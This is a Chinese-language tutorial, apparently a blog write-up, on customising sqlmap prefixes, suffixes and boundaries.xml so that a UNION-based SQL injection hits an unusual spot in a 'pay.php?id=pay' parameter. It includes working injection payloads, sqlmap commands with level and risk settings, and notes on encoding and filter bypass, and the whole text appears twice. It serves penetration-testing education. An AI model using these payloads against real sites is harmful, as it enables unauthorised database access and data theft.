记一次基于Union的sqlmap自定义payload
字数 1929 2025-08-20 18:18:17

SQLMap自定义Union注入Payload高级教程

1. 注入场景分析

1.1 特殊注入场景描述

  • 目标URL: pay.php?id=pay
  • 注入点特征: 需要在pay后添加特定字符才能触发注入
  • 有效注入语句: pay + /_/ where false #`
  • 无效注入语句: pay + /_/where+ false #` (注意空格差异)

1.2 SQLMap识别失败原因

  • 注入位置特殊,位于pay字符串后
  • 需要保留特定格式pay + /_/ where false`字段才可控
  • 常规Union注入测试无法命中该特殊位置

2. Union注入原理深入

2.1 Union注入基本流程

  1. 列数探测: 通过ORDER BY确定SELECT语句列数

    • 从1开始递增,直到报错
    • 需要测试一大一小两个值确定准确列数
  2. 联合查询构造:

    • 确保两侧SELECT列数相同
    • 通过子查询提取数据

2.2 SQLMap内部处理机制

  • 测试文件: data/xml/payloads/union_query.xml
  • 关键模板: "Generic UNION query"
  • 依赖标签: <vector>, <request>, <response>

3. 自定义Payload解决方案

3.1 修改boundaries.xml方案

  1. 定位文件: xml/payloads/boundaries.xml
  2. 关键属性配置:
    <boundary>
      <level>1</level>
      <clause>1,2</clause>
      <where>1</where>
      <ptype>1</ptype>
      <prefix>pay`+/*_*/where+false</prefix>
      <suffix>#</suffix>
    </boundary>
    
  3. 匹配规则:
    • clause取值1-9,联合查询相关子查询为1(where)、3(order by)
    • where取值1-3,确定payload插入位置

3.2 编码问题处理

  • 问题现象: 自定义字符被编码为%2B%2F%2A_%2A%2F
  • 解决方案:
    1. 使用BurpSuite进行发包替换
    2. 替换规则: %2B%2F%2A_%2A%2Fpay+/_/where`

3.3 更便捷的参数方案

使用命令行参数直接指定前后缀:

sqlmap --prefix="pay`+/*_*/where+false" --suffix="#" --technique=U -v 3

优势:

  • 无需修改boundary文件
  • SQLMap会直接使用提供的前后缀
  • 调用默认的clause和where匹配union_query.xml模板

4. 完整测试流程

  1. 初始探测:

    sqlmap -u "pay.php?id=pay" --prefix="pay`+/*_*/where+false" --suffix="#" --technique=U -v 3
    
  2. 代理调试(可选):

    sqlmap -u "pay.php?id=pay" --prefix="pay`+/*_*/where+false" --suffix="#" --technique=U -v 3 --proxy=http://127.0.0.1:8080
    
  3. 观察测试payload:

    • 有效payload示例: pay+/_/where+false order by 1#`
    • 列数探测payload: pay+/_/where+false order by 4839#`
  4. 成功识别后:

    • SQLMap会自动进行列数判断
    • 构造Union子查询
    • 使用CASE条件从句提取数据

5. 高级技巧与注意事项

  1. 空格敏感性:

    • 确保自定义payload中的空格与目标系统要求一致
    • 可使用+%20替代空格
  2. 注释处理:

    • 不同数据库注释语法差异
    • MySQL: #, -- , /* */
    • 确保使用目标系统支持的注释符号
  3. 代理调试技巧:

    • 推荐使用BurpSuite拦截请求
    • 观察实际发送的payload格式
    • 检查编码问题
  4. 多技术组合:

    • 可结合其他注入技术(--technique=BEUST)
    • 例如: --technique=BU (布尔+联合)
  5. 性能优化:

    • 限制测试级别: --level=3
    • 指定风险级别: --risk=3
    • 减少测试payload数量

6. 故障排除指南

  1. SQLMap不发送测试payload:

    • 检查-v 3以上日志级别
    • 确认--technique=U参数正确
    • 验证URL格式是否正确
  2. Payload被错误编码:

    • 使用代理工具检查原始请求
    • 考虑使用--skip-urlencode
    • 手动处理特殊字符编码
  3. 识别失败但手动注入成功:

    • 检查前后缀是否完全匹配
    • 验证注释符号有效性
    • 尝试调整--level--risk
  4. Order By探测不完整:

    • 检查是否只发送了order by 1
    • 尝试手动指定列数--columns
    • 确保没有过滤或WAF干扰

7. 扩展应用场景

  1. 其他特殊位置注入:

    • ORDER BY后注入
    • GROUP BY后注入
    • HAVING子句注入
  2. 复杂过滤绕过:

    • 处理关键字过滤
    • 绕过特殊字符限制
    • 处理编码转换
  3. 多参数注入:

    • 使用--prefix--suffix针对不同参数
    • 结合--param-del处理复杂参数
  4. 非标准注入点:

    • JSON参数注入
    • HTTP头注入
    • Cookie注入

通过本教程,您应该能够掌握SQLMap自定义Union注入Payload的高级技巧,有效解决特殊场景下的SQL注入测试需求。

SQLMap自定义Union注入Payload高级教程 1. 注入场景分析 1.1 特殊注入场景描述 目标URL: pay.php?id=pay 注入点特征: 需要在 pay 后添加特定字符才能触发注入 有效注入语句: pay + / _ / where false # ` 无效注入语句: pay + / _ /where+ false # ` (注意空格差异) 1.2 SQLMap识别失败原因 注入位置特殊,位于 pay 字符串后 需要保留特定格式 pay + / _ / where false ` 字段才可控 常规Union注入测试无法命中该特殊位置 2. Union注入原理深入 2.1 Union注入基本流程 列数探测 : 通过 ORDER BY 确定SELECT语句列数 从1开始递增,直到报错 需要测试一大一小两个值确定准确列数 联合查询构造 : 确保两侧SELECT列数相同 通过子查询提取数据 2.2 SQLMap内部处理机制 测试文件: data/xml/payloads/union_query.xml 关键模板: "Generic UNION query" 依赖标签: <vector> , <request> , <response> 3. 自定义Payload解决方案 3.1 修改boundaries.xml方案 定位文件: xml/payloads/boundaries.xml 关键属性配置: 匹配规则: clause 取值1-9,联合查询相关子查询为1(where)、3(order by) where 取值1-3,确定payload插入位置 3.2 编码问题处理 问题现象: 自定义字符被编码为 %2B%2F%2A_%2A%2F 解决方案: 使用BurpSuite进行发包替换 替换规则: %2B%2F%2A_%2A%2F → pay +/ _ /where ` 3.3 更便捷的参数方案 使用命令行参数直接指定前后缀: 优势: 无需修改boundary文件 SQLMap会直接使用提供的前后缀 调用默认的clause和where匹配union_ query.xml模板 4. 完整测试流程 初始探测: 代理调试(可选): 观察测试payload: 有效payload示例: pay +/ _ /where+false order by 1# ` 列数探测payload: pay +/ _ /where+false order by 4839# ` 成功识别后: SQLMap会自动进行列数判断 构造Union子查询 使用CASE条件从句提取数据 5. 高级技巧与注意事项 空格敏感性 : 确保自定义payload中的空格与目标系统要求一致 可使用 + 或 %20 替代空格 注释处理 : 不同数据库注释语法差异 MySQL: # , -- , /* */ 确保使用目标系统支持的注释符号 代理调试技巧 : 推荐使用BurpSuite拦截请求 观察实际发送的payload格式 检查编码问题 多技术组合 : 可结合其他注入技术( --technique=BEUST ) 例如: --technique=BU (布尔+联合) 性能优化 : 限制测试级别: --level=3 指定风险级别: --risk=3 减少测试payload数量 6. 故障排除指南 SQLMap不发送测试payload : 检查 -v 3 以上日志级别 确认 --technique=U 参数正确 验证URL格式是否正确 Payload被错误编码 : 使用代理工具检查原始请求 考虑使用 --skip-urlencode 手动处理特殊字符编码 识别失败但手动注入成功 : 检查前后缀是否完全匹配 验证注释符号有效性 尝试调整 --level 和 --risk Order By探测不完整 : 检查是否只发送了 order by 1 尝试手动指定列数 --columns 确保没有过滤或WAF干扰 7. 扩展应用场景 其他特殊位置注入 : ORDER BY后注入 GROUP BY后注入 HAVING子句注入 复杂过滤绕过 : 处理关键字过滤 绕过特殊字符限制 处理编码转换 多参数注入 : 使用 --prefix 和 --suffix 针对不同参数 结合 --param-del 处理复杂参数 非标准注入点 : JSON参数注入 HTTP头注入 Cookie注入 通过本教程,您应该能够掌握SQLMap自定义Union注入Payload的高级技巧,有效解决特殊场景下的SQL注入测试需求。